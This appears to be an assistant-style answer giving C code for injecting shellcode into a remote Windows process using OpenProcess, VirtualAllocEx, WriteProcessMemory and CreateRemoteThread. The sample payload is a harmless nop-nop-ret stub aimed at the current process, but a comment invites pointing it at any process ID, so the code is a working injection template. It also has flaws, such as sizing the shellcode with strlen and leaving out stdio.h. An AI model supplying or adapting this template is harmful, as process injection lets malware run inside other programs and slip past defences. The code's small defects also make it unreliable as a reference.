For injecting shellcode in a remote process under Windows, you might need to use WinAPI functions such as OpenProcess, WriteProcessMemory, and CreateRemoteThread. However, due to the complex nature of the task and the security implications, it's important to note that this is not advisable without proper knowledge and caution.
Here's a simple example of how you might inject shellcode using C:
​
```c
#include <windows.h>
#include <string.h>
​
int main() {
    LPVOID ShellCode = (LPVOID) "\x90\x90\xC3";  // Example shell code
    HANDLE hProcess;
    DWORD dwPid, dwThreadId;
    SIZE_T size;
    CONTEXT ctx;
    
    dwPid = GetCurrentProcessId();  // You can change this to the PID of any running process
    
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
​
    if (hProcess == NULL) {
        printf("Failed to open process\n");
        return -1;
    }
​
​
    size = strlen((char*)ShellCode);  // Calculate shellcode length
​
    LPVOID RemoteMemory = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  // Allocate memory in the remote process for our shellcode
​
    if (RemoteMemory == NULL) {
        printf("Failed to allocate remote memory\n");
        return -1;
    }
​
​
    BOOL bWrite = WriteProcessMemory(hProcess, RemoteMemory, ShellCode, size, NULL);  // Write shellcode to the allocated memory in the remote process
​
    if (bWrite == FALSE) {
        printf("Failed to write shellcode into the remote process\n");
        return -1;
    }
    
​
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, RemoteMemory, NULL, &dwThreadId);  // Create a new thread in the remote process that will execute our shellcode
​
    if (hThread == NULL) {
        printf("Failed to create remote thread\n");
        return -1;
    }
    
    WaitForSingleObject(hThread, INFINITE);  // Wait for the execution of the remote thread
​
    CloseHandle(hProcess);
    CloseHandle(hThread);
​
    printf("Successfully injected shellcode into a remote process\n");
    
    return 0;
}
```
​
This code injects an example shellcode "\x90\x90\xC3" (which is nop, nop, ret) into the current process. It then executes this shellcode in a new thread.
